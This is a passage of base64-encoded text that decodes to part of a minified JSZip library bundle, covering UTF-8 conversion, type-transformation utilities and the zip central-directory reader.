6MTkyPD1uPzI6MTt1WzI1NF09dVsyNTRdPTE7ZnVuY3Rpb24gYSgpe2kuY2FsbCh0aGlzLCJ1dGYtOCBkZWNvZGUiKSx0aGlzLmxlZnRPdmVyPW51bGx9ZnVuY3Rpb24gbCgpe2kuY2FsbCh0aGlzLCJ1dGYtOCBlbmNvZGUiKX1zLnV0ZjhlbmNvZGU9ZnVuY3Rpb24odCl7cmV0dXJuIGgubm9kZWJ1ZmZlcj9yLm5ld0J1ZmZlckZyb20odCwidXRmLTgiKTpmdW5jdGlvbih0KXt2YXIgZSxyLGksbixzLGE9dC5sZW5ndGgsbz0wO2ZvcihuPTA7bjxhO24rKyk1NTI5Nj09KDY0NTEyJihyPXQuY2hhckNvZGVBdChuKSkpJiZuKzE8YSYmNTYzMjA9PSg2NDUxMiYoaT10LmNoYXJDb2RlQXQobisxKSkpJiYocj02NTUzNisoci01NTI5Njw8MTApKyhpLTU2MzIwKSxuKyspLG8rPXI8MTI4PzE6cjwyMDQ4PzI6cjw2NTUzNj8zOjQ7Zm9yKGU9aC51aW50OGFycmF5P25ldyBVaW50OEFycmF5KG8pOm5ldyBBcnJheShvKSxuPXM9MDtzPG87bisrKTU1Mjk2PT0oNjQ1MTImKHI9dC5jaGFyQ29kZUF0KG4pKSkmJm4rMTxhJiY1NjMyMD09KDY0NTEyJihpPXQuY2hhckNvZGVBdChuKzEpKSkmJihyPTY1NTM2KyhyLTU1Mjk2PDwxMCkrKGktNTYzMjApLG4rKykscjwxMjg/ZVtzKytdPXI6KHI8MjA0OD9lW3MrK109MTkyfHI+Pj42OihyPDY1NTM2P2VbcysrXT0yMjR8cj4+PjEyOihlW3MrK109MjQwfHI+Pj4xOCxlW3MrK109MTI4fHI+Pj4xMiY2MyksZVtzKytdPTEyOHxyPj4+NiY2MyksZVtzKytdPTEyOHw2MyZyKTtyZXR1cm4gZX0odCl9LHMudXRmOGRlY29kZT1mdW5jdGlvbih0KXtyZXR1cm4gaC5ub2RlYnVmZmVyP28udHJhbnNmb3JtVG8oIm5vZGVidWZmZXIiLHQpLnRvU3RyaW5nKCJ1dGYtOCIpOmZ1bmN0aW9uKHQpe3ZhciBlLHIsaSxuLHM9dC5sZW5ndGgsYT1uZXcgQXJyYXkoMipzKTtmb3IoZT1yPTA7ZTxzOylpZigoaT10W2UrK10pPDEyOClhW3IrK109aTtlbHNlIGlmKDQ8KG49dVtpXSkpYVtyKytdPTY1NTMzLGUrPW4tMTtlbHNle2ZvcihpJj0yPT09bj8zMTozPT09bj8xNTo3OzE8biYmZTxzOylpPWk8PDZ8NjMmdFtlKytdLG4tLTsxPG4/YVtyKytdPTY1NTMzOmk8NjU1MzY/YVtyKytdPWk6KGktPTY1NTM2LGFbcisrXT01NTI5NnxpPj4xMCYxMDIzLGFbcisrXT01NjMyMHwxMDIzJmkpfXJldHVybiBhLmxlbmd0aCE9PXImJihhLnN1YmFycmF5P2E9YS5zdWJhcnJheSgwLHIpOmEubGVuZ3RoPXIpLG8uYXBwbHlGcm9tQ2hhckNvZGUoYSl9KHQ9by50cmFuc2Zvcm1UbyhoLnVpbnQ4YXJyYXk/InVpbnQ4YXJyYXkiOiJhcnJheSIsdCkpfSxvLmluaGVyaXRzKGEsaSksYS5wcm90b3R5cGUucHJvY2Vzc0NodW5rPWZ1bmN0aW9uKHQpe3ZhciBlPW8udHJhbnNmb3JtVG8oaC51aW50OGFycmF5PyJ1aW50OGFycmF5IjoiYXJyYXkiLHQuZGF0YSk7aWYodGhpcy5sZWZ0T3ZlciYmdGhpcy5sZWZ0T3Zlci5sZW5ndGgpe2lmKGgudWludDhhcnJheSl7dmFyIHI9ZTsoZT1uZXcgVWludDhBcnJheShyLmxlbmd0aCt0aGlzLmxlZnRPdmVyLmxlbmd0aCkpLnNldCh0aGlzLmxlZnRPdmVyLDApLGUuc2V0KHIsdGhpcy5sZWZ0T3Zlci5sZW5ndGgpfWVsc2UgZT10aGlzLmxlZnRPdmVyLmNvbmNhdChlKTt0aGlzLmxlZnRPdmVyPW51bGx9dmFyIGk9ZnVuY3Rpb24odCxlKXt2YXIgcjtmb3IoKGU9ZXx8dC5sZW5ndGgpPnQubGVuZ3RoJiYoZT10Lmxlbmd0aCkscj1lLTE7MDw9ciYmMTI4PT0oMTkyJnRbcl0pOylyLS07cmV0dXJuIHI8MD9lOjA9PT1yP2U6cit1W3Rbcl1dPmU/cjplfShlKSxuPWU7aSE9PWUubGVuZ3RoJiYoaC51aW50OGFycmF5PyhuPWUuc3ViYXJyYXkoMCxpKSx0aGlzLmxlZnRPdmVyPWUuc3ViYXJyYXkoaSxlLmxlbmd0aCkpOihuPWUuc2xpY2UoMCxpKSx0aGlzLmxlZnRPdmVyPWUuc2xpY2UoaSxlLmxlbmd0aCkpKSx0aGlzLnB1c2goe2RhdGE6cy51dGY4ZGVjb2RlKG4pLG1ldGE6dC5tZXRhfSl9LGEucHJvdG90eXBlLmZsdXNoPWZ1bmN0aW9uKCl7dGhpcy5sZWZ0T3ZlciYmdGhpcy5sZWZ0T3Zlci5sZW5ndGgmJih0aGlzLnB1c2goe2RhdGE6cy51dGY4ZGVjb2RlKHRoaXMubGVmdE92ZXIpLG1ldGE6e319KSx0aGlzLmxlZnRPdmVyPW51bGwpfSxzLlV0ZjhEZWNvZGVXb3JrZXI9YSxvLmluaGVyaXRzKGwsaSksbC5wcm90b3R5cGUucHJvY2Vzc0NodW5rPWZ1bmN0aW9uKHQpe3RoaXMucHVzaCh7ZGF0YTpzLnV0ZjhlbmNvZGUodC5kYXRhKSxtZXRhOnQubWV0YX0pfSxzLlV0ZjhFbmNvZGVXb3JrZXI9bH0seyIuL25vZGVqc1V0aWxzIjoxNCwiLi9zdHJlYW0vR2VuZXJpY1dvcmtlciI6MjgsIi4vc3VwcG9ydCI6MzAsIi4vdXRpbHMiOjMyfV0sMzI6W2Z1bmN0aW9uKHQsZSxhKXsidXNlIHN0cmljdCI7dmFyIG89dCgiLi9zdXBwb3J0IiksaD10KCIuL2Jhc2U2NCIpLHI9dCgiLi9ub2RlanNVdGlscyIpLGk9dCgic2V0LWltbWVkaWF0ZS1zaGltIiksdT10KCIuL2V4dGVybmFsIik7ZnVuY3Rpb24gbih0KXtyZXR1cm4gdH1mdW5jdGlvbiBsKHQsZSl7Zm9yKHZhciByPTA7cjx0Lmxlbmd0aDsrK3IpZVtyXT0yNTUmdC5jaGFyQ29kZUF0KHIpO3JldHVybiBlfWEubmV3QmxvYj1mdW5jdGlvbihlLHIpe2EuY2hlY2tTdXBwb3J0KCJibG9iIik7dHJ5e3JldHVybiBuZXcgQmxvYihbZV0se3R5cGU6cn0pfWNhdGNoKHQpe3RyeXt2YXIgaT1uZXcoc2VsZi5CbG9iQnVpbGRlcnx8c2VsZi5XZWJLaXRCbG9iQnVpbGRlcnx8c2VsZi5Nb3pCbG9iQnVpbGRlcnx8c2VsZi5NU0Jsb2JCdWlsZGVyKTtyZXR1cm4gaS5hcHBlbmQoZSksaS5nZXRCbG9iKHIpfWNhdGNoKHQpe3Rocm93IG5ldyBFcnJvcigiQnVnIDogY2FuJ3QgY29uc3RydWN0IHRoZSBCbG9iLiIpfX19O3ZhciBzPXtzdHJpbmdpZnlCeUNodW5rOmZ1bmN0aW9uKHQsZSxyKXt2YXIgaT1bXSxuPTAscz10Lmxlbmd0aDtpZihzPD1yKXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlLmFwcGx5KG51bGwsdCk7Zm9yKDtuPHM7KSJhcnJheSI9PT1lfHwibm9kZWJ1ZmZlciI9PT1lP2kucHVzaChTdHJpbmcuZnJvbUNoYXJDb2RlLmFwcGx5KG51bGwsdC5zbGljZShuLE1hdGgubWluKG4rcixzKSkpKTppLnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLHQuc3ViYXJyYXkobixNYXRoLm1pbihuK3IscykpKSksbis9cjtyZXR1cm4gaS5qb2luKCIiKX0sc3RyaW5naWZ5QnlDaGFyOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT0iIixyPTA7cjx0Lmxlbmd0aDtyKyspZSs9U3RyaW5nLmZyb21DaGFyQ29kZSh0W3JdKTtyZXR1cm4gZX0sYXBwbHlDYW5CZVVzZWQ6e3VpbnQ4YXJyYXk6ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIG8udWludDhhcnJheSYmMT09PVN0cmluZy5mcm9tQ2hhckNvZGUuYXBwbHkobnVsbCxuZXcgVWludDhBcnJheSgxKSkubGVuZ3RofWNhdGNoKHQpe3JldHVybiExfX0oKSxub2RlYnVmZmVyOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiBvLm5vZGVidWZmZXImJjE9PT1TdHJpbmcuZnJvbUNoYXJDb2RlLmFwcGx5KG51bGwsci5hbGxvY0J1ZmZlcigxKSkubGVuZ3RofWNhdGNoKHQpe3JldHVybiExfX0oKX19O2Z1bmN0aW9uIGYodCl7dmFyIGU9NjU1MzYscj1hLmdldFR5cGVPZih0KSxpPSEwO2lmKCJ1aW50OGFycmF5Ij09PXI/aT1zLmFwcGx5Q2FuQmVVc2VkLnVpbnQ4YXJyYXk6Im5vZGVidWZmZXIiPT09ciYmKGk9cy5hcHBseUNhbkJlVXNlZC5ub2RlYnVmZmVyKSxpKWZvcig7MTxlOyl0cnl7cmV0dXJuIHMuc3RyaW5naWZ5QnlDaHVuayh0LHIsZSl9Y2F0Y2godCl7ZT1NYXRoLmZsb29yKGUvMil9cmV0dXJuIHMuc3RyaW5naWZ5QnlDaGFyKHQpfWZ1bmN0aW9uIGQodCxlKXtmb3IodmFyIHI9MDtyPHQubGVuZ3RoO3IrKyllW3JdPXRbcl07cmV0dXJuIGV9YS5hcHBseUZyb21DaGFyQ29kZT1mO3ZhciBjPXt9O2Muc3RyaW5nPXtzdHJpbmc6bixhcnJheTpmdW5jdGlvbih0KXtyZXR1cm4gbCh0LG5ldyBBcnJheSh0Lmxlbmd0aCkpfSxhcnJheWJ1ZmZlcjpmdW5jdGlvbih0KXtyZXR1cm4gYy5zdHJpbmcudWludDhhcnJheSh0KS5idWZmZXJ9LHVpbnQ4YXJyYXk6ZnVuY3Rpb24odCl7cmV0dXJuIGwodCxuZXcgVWludDhBcnJheSh0Lmxlbmd0aCkpfSxub2RlYnVmZmVyOmZ1bmN0aW9uKHQpe3JldHVybiBsKHQsci5hbGxvY0J1ZmZlcih0Lmxlbmd0aCkpfX0sYy5hcnJheT17c3RyaW5nOmYsYXJyYXk6bixhcnJheWJ1ZmZlcjpmdW5jdGlvbih0KXtyZXR1cm4gbmV3IFVpbnQ4QXJyYXkodCkuYnVmZmVyfSx1aW50OGFycmF5OmZ1bmN0aW9uKHQpe3JldHVybiBuZXcgVWludDhBcnJheSh0KX0sbm9kZWJ1ZmZlcjpmdW5jdGlvbih0KXtyZXR1cm4gci5uZXdCdWZmZXJGcm9tKHQpfX0sYy5hcnJheWJ1ZmZlcj17c3RyaW5nOmZ1bmN0aW9uKHQpe3JldHVybiBmKG5ldyBVaW50OEFycmF5KHQpKX0sYXJyYXk6ZnVuY3Rpb24odCl7cmV0dXJuIGQobmV3IFVpbnQ4QXJyYXkodCksbmV3IEFycmF5KHQuYnl0ZUxlbmd0aCkpfSxhcnJheWJ1ZmZlcjpuLHVpbnQ4YXJyYXk6ZnVuY3Rpb24odCl7cmV0dXJuIG5ldyBVaW50OEFycmF5KHQpfSxub2RlYnVmZmVyOmZ1bmN0aW9uKHQpe3JldHVybiByLm5ld0J1ZmZlckZyb20obmV3IFVpbnQ4QXJyYXkodCkpfX0sYy51aW50OGFycmF5PXtzdHJpbmc6ZixhcnJheTpmdW5jdGlvbih0KXtyZXR1cm4gZCh0LG5ldyBBcnJheSh0Lmxlbmd0aCkpfSxhcnJheWJ1ZmZlcjpmdW5jdGlvbih0KXtyZXR1cm4gdC5idWZmZXJ9LHVpbnQ4YXJyYXk6bixub2RlYnVmZmVyOmZ1bmN0aW9uKHQpe3JldHVybiByLm5ld0J1ZmZlckZyb20odCl9fSxjLm5vZGVidWZmZXI9e3N0cmluZzpmLGFycmF5OmZ1bmN0aW9uKHQpe3JldHVybiBkKHQsbmV3IEFycmF5KHQubGVuZ3RoKSl9LGFycmF5YnVmZmVyOmZ1bmN0aW9uKHQpe3JldHVybiBjLm5vZGVidWZmZXIudWludDhhcnJheSh0KS5idWZmZXJ9LHVpbnQ4YXJyYXk6ZnVuY3Rpb24odCl7cmV0dXJuIGQodCxuZXcgVWludDhBcnJheSh0Lmxlbmd0aCkpfSxub2RlYnVmZmVyOm59LGEudHJhbnNmb3JtVG89ZnVuY3Rpb24odCxlKXtpZihlPWV8fCIiLCF0KXJldHVybiBlO2EuY2hlY2tTdXBwb3J0KHQpO3ZhciByPWEuZ2V0VHlwZU9mKGUpO3JldHVybiBjW3JdW3RdKGUpfSxhLmdldFR5cGVPZj1mdW5jdGlvbih0KXtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIHQ/InN0cmluZyI6IltvYmplY3QgQXJyYXldIj09PU9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbCh0KT8iYXJyYXkiOm8ubm9kZWJ1ZmZlciYmci5pc0J1ZmZlcih0KT8ibm9kZWJ1ZmZlciI6by51aW50OGFycmF5JiZ0IGluc3RhbmNlb2YgVWludDhBcnJheT8idWludDhhcnJheSI6by5hcnJheWJ1ZmZlciYmdCBpbnN0YW5jZW9mIEFycmF5QnVmZmVyPyJhcnJheWJ1ZmZlciI6dm9pZCAwfSxhLmNoZWNrU3VwcG9ydD1mdW5jdGlvbih0KXtpZighb1t0LnRvTG93ZXJDYXNlKCldKXRocm93IG5ldyBFcnJvcih0KyIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGlzIHBsYXRmb3JtIil9LGEuTUFYX1ZBTFVFXzE2QklUUz02NTUzNSxhLk1BWF9WQUxVRV8zMkJJVFM9LTEsYS5wcmV0dHk9ZnVuY3Rpb24odCl7dmFyIGUscixpPSIiO2ZvcihyPTA7cjwodHx8IiIpLmxlbmd0aDtyKyspaSs9IlxceCIrKChlPXQuY2hhckNvZGVBdChyKSk8MTY/IjAiOiIiKStlLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpO3JldHVybiBpfSxhLmRlbGF5PWZ1bmN0aW9uKHQsZSxyKXtpKGZ1bmN0aW9uKCl7dC5hcHBseShyfHxudWxsLGV8fFtdKX0pfSxhLmluaGVyaXRzPWZ1bmN0aW9uKHQsZSl7ZnVuY3Rpb24gcigpe31yLnByb3RvdHlwZT1lLnByb3RvdHlwZSx0LnByb3RvdHlwZT1uZXcgcn0sYS5leHRlbmQ9ZnVuY3Rpb24oKXt2YXIgdCxlLHI9e307Zm9yKHQ9MDt0PGFyZ3VtZW50cy5sZW5ndGg7dCsrKWZvcihlIGluIGFyZ3VtZW50c1t0XSlhcmd1bWVudHNbdF0uaGFzT3duUHJvcGVydHkoZSkmJnZvaWQgMD09PXJbZV0mJihyW2VdPWFyZ3VtZW50c1t0XVtlXSk7cmV0dXJuIHJ9LGEucHJlcGFyZUNvbnRlbnQ9ZnVuY3Rpb24ocix0LGksbixzKXtyZXR1cm4gdS5Qcm9taXNlLnJlc29sdmUodCkudGhlbihmdW5jdGlvbihpKXtyZXR1cm4gby5ibG9iJiYoaSBpbnN0YW5jZW9mIEJsb2J8fC0xIT09WyJbb2JqZWN0IEZpbGVdIiwiW29iamVjdCBCbG9iXSJdLmluZGV4T2YoT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKGkpKSkmJiJ1bmRlZmluZWQiIT10eXBlb2YgRmlsZVJlYWRlcj9uZXcgdS5Qcm9taXNlKGZ1bmN0aW9uKGUscil7dmFyIHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24odCl7ZSh0LnRhcmdldC5yZXN1bHQpfSx0Lm9uZXJyb3I9ZnVuY3Rpb24odCl7cih0LnRhcmdldC5lcnJvcil9LHQucmVhZEFzQXJyYXlCdWZmZXIoaSl9KTppfSkudGhlbihmdW5jdGlvbih0KXt2YXIgZT1hLmdldFR5cGVPZih0KTtyZXR1cm4gZT8oImFycmF5YnVmZmVyIj09PWU/dD1hLnRyYW5zZm9ybVRvKCJ1aW50OGFycmF5Iix0KToic3RyaW5nIj09PWUmJihzP3Q9aC5kZWNvZGUodCk6aSYmITAhPT1uJiYodD1mdW5jdGlvbih0KXtyZXR1cm4gbCh0LG8udWludDhhcnJheT9uZXcgVWludDhBcnJheSh0Lmxlbmd0aCk6bmV3IEFycmF5KHQubGVuZ3RoKSl9KHQpKSksdCk6dS5Qcm9taXNlLnJlamVjdChuZXcgRXJyb3IoIkNhbid0IHJlYWQgdGhlIGRhdGEgb2YgJyIrcisiJy4gSXMgaXQgaW4gYSBzdXBwb3J0ZWQgSmF2YVNjcmlwdCB0eXBlIChTdHJpbmcsIEJsb2IsIEFycmF5QnVmZmVyLCBldGMpID8iKSl9KX19LHsiLi9iYXNlNjQiOjEsIi4vZXh0ZXJuYWwiOjYsIi4vbm9kZWpzVXRpbHMiOjE0LCIuL3N1cHBvcnQiOjMwLCJzZXQtaW1tZWRpYXRlLXNoaW0iOjU0fV0sMzM6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9yZWFkZXIvcmVhZGVyRm9yIiksbj10KCIuL3V0aWxzIikscz10KCIuL3NpZ25hdHVyZSIpLGE9dCgiLi96aXBFbnRyeSIpLG89KHQoIi4vdXRmOCIpLHQoIi4vc3VwcG9ydCIpKTtmdW5jdGlvbiBoKHQpe3RoaXMuZmlsZXM9W10sdGhpcy5sb2FkT3B0aW9ucz10fWgucHJvdG90eXBlPXtjaGVja1NpZ25hdHVyZTpmdW5jdGlvbih0KXtpZighdGhpcy5yZWFkZXIucmVhZEFuZENoZWNrU2lnbmF0dXJlKHQpKXt0aGlzLnJlYWRlci5pbmRleC09NDt2YXIgZT10aGlzLnJlYWRlci5yZWFkU3RyaW5nKDQpO3Rocm93IG5ldyBFcnJvcigiQ29ycnVwdGVkIHppcCBvciBidWc6IHVuZXhwZWN0ZWQgc2lnbmF0dXJlICgiK24ucHJldHR5KGUpKyIsIGV4cGVjdGVkICIrbi5wcmV0dHkodCkrIikiKX19LGlzU2lnbmF0dXJlOmZ1bmN0aW9uKHQsZSl7dmFyIHI9dGhpcy5yZWFkZXIuaW5kZXg7dGhpcy5yZWFkZXIuc2V0SW5kZXgodCk7dmFyIGk9dGhpcy5yZWFkZXIucmVhZFN0cmluZyg0KT09PWU7cmV0dXJuIHRoaXMucmVhZGVyLnNldEluZGV4KHIpLGl9LHJlYWRCbG9ja0VuZE9mQ2VudHJhbDpmdW5jdGlvbigpe3RoaXMuZGlza051bWJlcj10aGlzLnJlYWRlci5yZWFkSW50KDIpLHRoaXMuZGlza1dpdGhDZW50cmFsRGlyU3RhcnQ9dGhpcy5yZWFkZXIucmVhZEludCgyKSx0aGlzLmNlbnRyYWxEaXJSZWNvcmRzT25UaGlzRGlzaz10aGlzLnJlYWRlci5yZWFkSW50KDIpLHRoaXMuY2VudHJhbERpclJlY29yZHM9dGhpcy5yZWFkZXIucmVhZEludCgyKSx0aGlzLmNlbnRyYWxEaXJTaXplPXRoaXMucmVhZGVyLnJlYWRJbnQoNCksdGhpcy5jZW50cmFsRGlyT2Zmc2V0PXRoaXMucmVhZGVyLnJlYWRJbnQoNCksdGhpcy56aXBDb21tZW50TGVuZ3RoPXRoaXMucmVhZGVyLnJlYWRJbnQoMik7dmFyIHQ9dGhpcy5yZWFkZXIucmVhZERhdGEodGhpcy56aXBDb21tZW50TGVuZ3RoKSxlPW8udWludDhhcnJheT8idWludDhhcnJheSI6ImFycmF5IixyPW4udHJhbnNmb3JtVG8oZSx0KTt0aGlzLnppcENvbW1lbnQ9dGhpcy5sb2FkT3B0aW9ucy5kZWNvZGVGaWxlTmFtZShyKX0scmVhZEJsb2NrWmlwNjRFbmRPZkNlbnRyYWw6ZnVuY3Rpb24oKXt0aGlzLnppcDY0RW5kT2ZDZW50cmFsU2l6ZT10aGlzLnJlYWRlci5yZWFkSW50KDgpLHRoaXMucmVhZGVyLnNraXAoNCksdGhpcy5kaXNrTnVtYmVyPXRoaXMucmVhZGVyLnJlYWRJbnQoNCksdGhpcy5kaXNrV2l0aENlbnRyYWxEaXJTdGFydD10aGlzLnJlYWRlci5yZWFkSW50KDQpLHRoaXMuY2VudHJhbERpclJlY29yZHNPblRoaXNEaXNrPXRoaXMucmVhZGVyLnJlYWRJbnQoOCksdGhpcy5jZW50cmFsRGlyUmVjb3Jkcz10aGlzLnJlYWRlci5yZWFkSW50KDgpLHRoaXMuY2VudHJhbERpclNpemU9dGhpcy5yZWFkZXIucmVhZEludCg4KSx0aGlzLmNlbnRyYWxEaXJPZmZzZXQ9dGhpcy5yZWFkZXIucmVhZEludCg4KSx0aGlzLnppcDY0RXh0ZW5zaWJsZURhdGE9e307Zm9yKHZhciB0LGUscixpPXRoaXMuemlwNjRFbmRPZkNlbnRyYWxTaXplLTQ0OzA8aTspdD10aGlzLnJlYWRlci5yZWFkSW50KDIpLGU9dGhpcy5yZWFkZXIucmVhZEludCg0KSxyPXRoaXMucmVhZGVyLnJlYWREYXRhKGUpLHRoaXMuemlwNjRFeHRlbnNpYmxlRGF0YVt0XT17aWQ6dCxsZW5ndGg6ZSx2YWx1ZTpyfX0scmVhZEJsb2NrWmlwNjRFbmRPZkNlbnRyYWxMb2NhdG9yOmZ1bmN0aW9uKCl7aWYodGhpcy5kaXNrV2l0aFppcDY0Q2VudHJhbERpclN0YXJ0PXRoaXMucmVhZGVyLnJlYWRJbnQoNCksdGhpcy5yZWxhdGl2ZU9mZnNldEVuZE9mWmlwNjRDZW50cmFsRGlyPXRoaXMucmVhZGVyLnJlYWRJbnQoOCksdGhpcy5kaXNrc0NvdW50PXRoaXMucmVhZGVyLnJlYWRJbnQoNCksMTx0aGlzLmRpc2tzQ291bnQpdGhyb3cgbmV3IEVycm9yKCJNdWx0aS12b2x1bWVzIHppcCBhcmUgbm90IHN1cHBvcnRlZCIpfSxyZWFkTG9jYWxGaWxlczpmdW5jdGlvbigpe3ZhciB0LGU7Zm9yKHQ9MDt0PHRoaXMuZmlsZXMubGVuZ3RoO3QrKyllPXRoaXMuZmlsZXNbdF0sdGhpcy5yZWFkZXIuc2V0SW5kZXgoZS5sb2NhbEhlYWRlck9mZnNldCksdGhpcy5jaGVja1NpZ25hdHVyZShzLkxPQ0FMX0ZJTEVfSEVBREVSKSxlLnJlYWRMb2NhbFBhcnQodGhpcy5yZWFkZXIpLGUuaGFuZGxlVVRGOCgpLGUucHJvY2Vzc0F0dHJpYnV0ZXMoKX0scmVhZENlbnRyYWxEaXI6ZnVuY3Rpb24oKXt2YXIgdDtmb3IodGhpcy5yZWFkZXIuc2V0SW5kZXgodGhpcy5jZW50cmFsRGlyT2Zmc2V0KTt0aGlzLnJlYWRlci5yZWFkQW5kQ2hlY2tTaWduYXR1cmUocy5DRU5UUkFMX0ZJTEVfSEVBREVSKTspKHQ9bmV3IGEoe3ppcDY0OnRoaXMuemlwNjR9LHRoaXMubG9hZE9wdGlvbnMpKS5yZWFkQ2VudHJhbFBhcnQodGhpcy5yZWFkZXIpLHRoaXMuZmlsZXMucHVzaCh0KTtpZih0aGlzLmNlbnRyYWxEaXJSZWNvcmRzIT09dGhpcy5maWxlcy5sZW5ndGgmJjAhPT10aGlzLmNlbnRyYWxEaXJSZWNvcmRzJiYwPT09dGhpcy5maWxlcy5sZW5ndGgpdGhyb3cgbmV3IEVycm9yKCJDb3JydXB0ZWQgemlwIG9yIGJ1ZzogZXhwZWN0ZWQgIit0aGlzLmNlbnRyYWxEaXJSZWNvcmRzKyIgcmVjb3JkcyBpbiBjZW50cmFsIGRpciwgZ290ICIrdGhpcy5maWxlcy5sZW5ndGgpfSxyZWFkRW5kT2ZDZW50cmFsOmZ1bmN0aW9uKCl7dmFyIHQ9dGhpcy5yZWFkZXIubGFzdEluZGV4T2ZTaWduYXR1cmUocy5DRU5UUkFMX0RJUkVDVE9SWV9FTkQpO2lmKHQ8MCl0aHJvdyF0aGlzLmlzU2lnbmF0dXJlKDAscy5MT0NBTF9GSUxFX0hFQURFUik/bmV3IEVycm9yKCJDYW4ndCBmaW5kIGVuZCBvZiBjZW50cmFsIGRpcmVjdG9yeSA6IGlzIHRoaXMgYSB6aXAgZmlsZSA/IElmIGl0IGlzLCBzZWUgaHR0cHM6Ly9zdHVrLmdpdGh1Yi5pby9qc3ppcC9kb2N1bWVudGF0aW9uL2hvd3RvL3JlYWRfemlwLmh0bWwiKTpuZXcgRXJyb3IoIkNvcnJ1cHRlZCB6aXA6IGNhbid0IGZpbmQgZW5kIG9mIGNlbnRyYWwgZGlyZWN0b3J5Iik7dGhpcy5yZWFkZXIuc2V0SW5kZXgodCk7dmFyIGU9dDtpZih0aGlzLmNoZWNrU2lnbmF0dXJlKHMuQ0VOVFJBTF9ESVJFQ1RPUllfRU5EKSx0aGlzLnJlYWRCbG9ja0VuZE9mQ2VudHJhbCgpLHRoaXMuZGlza051bWJlcj09PW4uTUFYX1ZBTFVFXzE2QklUU3x8dGhpcy5kaXNrV2l0aENlbnRyYWxEaXJTdGFydD09PW4uTUFYX1ZBTFVFXzE2QklUU3x8dGhpcy5jZW50cmFsRGlyUmVjb3Jkc09uVGhpc0Rpc2s9PT1uLk1BWF9WQUxVRV8xNkJJVFN8fHRoaXMuY2VudHJhbERpclJlY29yZHM9PT1uLk1BWF9WQUxVRV8xNkJJVFN8fHRoaXMuY2VudHJhbERpclNpemU9PT1uLk1BWF9WQUxVRV8zMkJJVFN8fHRoaXMuY2VudHJhbERpck9mZnNldD09PW4uTUFYX1ZBTFVFXzMyQklUUyl7aWYodGhpcy56aXA2ND0hMCwodD10aGlzLnJlYWRlci5sYXN0SW5kZXhPZlNpZ25hdHVyZShzLlpJUDY0X0NFTlRSQUxfRElSRUNUT1JZX0xPQ0FUT1IpKTwwKXRocm93IG5ldyBFcnJvcigiQ29ycnVwdGVkIHppcDogY2FuJ3QgZmluZCB0aGUgWklQNjQgZW5kIG9mIGNlbnRyYWwgZGlyZWN0b3J5IGxvY2F0b3IiKTtpZih0aGlzLnJlYWRlci5zZXRJbmRleCh0KSx0aGlzLmNoZWNrU2lnbmF0dXJlKHMuWklQNjRfQ0VOVFJBTF9ESVJFQ1RPUllfTE9DQVRPUiksdGhpcy5yZWFkQmxvY2taaXA2NEVuZE9mQ2VudHJhbExvY2F0b3IoKSwhdGhpcy5pc1NpZ25hdHVyZSh0aGlzLnJlbGF0aXZlT2Zmc2V0RW5kT2ZaaXA2NENlbnRyYWxEaXIscy5aSVA2NF9DRU5UUkFMX0RJUkVDVE9SWV9FTkQpJiYodGhpcy5yZWxhdGl2ZU9mZnNldEVuZE9mWmlwNjRDZW50cmFsRGlyPXRoaXMucmVhZGVyLmxhc3RJbmRleE9mU2lnbmF0dXJlKHMuWklQNjRfQ0VOVFJBTF9ESVJFQ1RPUllfRU5EKSx0aGlzLnJlbGF0aXZlT2Zmc2V0RW5kT2ZaaXA2NENlbnRyYWxEaXI8MCkpdGhyb3cgbmV3IEVycm9yKCJDb3JydXB0ZWQgemlwOiBjYW4ndCBmaW5kIHRoZSBaSVA2NCBlbmQgb2YgY2VudHJhbCBkaXJlY3RvcnkiKTt0aGlzLnJlYWRlci5zZXRJbmRleCh0aGlzLnJlbGF0aXZlT2Zmc2V0RW5kT2ZaaXA2NENlbnRyYWxEaXIpLHRoaXMuY2hlY2tTaWduYXR1cmUocy5aSVA2NF9DRU5UUkFMX0RJUkVDVE9SWV9FTkQpLHRoaXMucmVhZEJsb2NrWmlwNjRFbmRPZkNlbnRyYWwoKX12YXIgcj10aGlzLmNlbnRyYWxEaXJPZmZzZXQrdGhpcy5jZW50cmFsRGlyU2l6ZTt0aGlzLnppcDY0JiYocis9MjAscis9MTIrdGhpcy56aXA2NEVuZE9mQ2VudHJhbFNpemUpO3ZhciBpPWUtcjtpZigwPGkpdGhpcy5pc1NpZ25hdHVyZShlLHMuQ0VOVFJBTF9GSUxFX0hFQURFUil8fCh0aGlzLnJlYWRlci56ZXJvPWkpO2Vsc2UgaWYoaTwwKXRocm93IG5ldyBFcnJvcigiQ29ycnVwdGVkIHppcDogbWlzc2luZyAiK01hdGguYWJzKGkpKyIgYnl0ZXMuIil9LHByZXBhcmVSZWFkZXI6ZnVuY3Rpb24odCl7dGhpcy5yZWFkZXI9aSh0KX0sbG9hZDpmdW5jdGlvbih0KXt0aGlzLnByZXBhcmVSZWFkZXIodCksdGhpcy5yZWFkRW5kT2ZDZW50cmFsKCksdGhpcy5yZWFkQ2VudHJhbERpcigpLHRoaXMucmVhZExvY2FsRmlsZXMoKX19LGUuZXhwb3J0cz1ofSx7Ii4vcmVhZGVyL3JlYWRlckZvciI6MjIsIi4vc2lnbmF0dXJlIjoyMywiLi9zdXBwb3J0IjozMCwiLi91dGY4IjozMSwiLi91dGlscyI6MzIsIi4vemlwRW50cnkiOjM0fV0sMzQ6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9yZWFkZXIvcmVhZGVyRm9yIikscz10KCIuL3V0aWxzIiksbj10KCIuL2NvbXByZXNzZWRPYmplY3QiKSxhPXQoIi4vY3JjMzIiKSxvPXQoIi4vdXRmOCIpLGg9dCgiLi9jb21wcmVzc2lvbnMiKSx1PXQoIi4vc3VwcG9ydCIpO2Z1bmN0aW9uIGwodCxlKXt0aGlzLm9wdGlvbnM9dCx0aGlzLmxvYWRPcHRpb25zPWV9bC5wcm90b3R5cGU9e2lzRW5jcnlw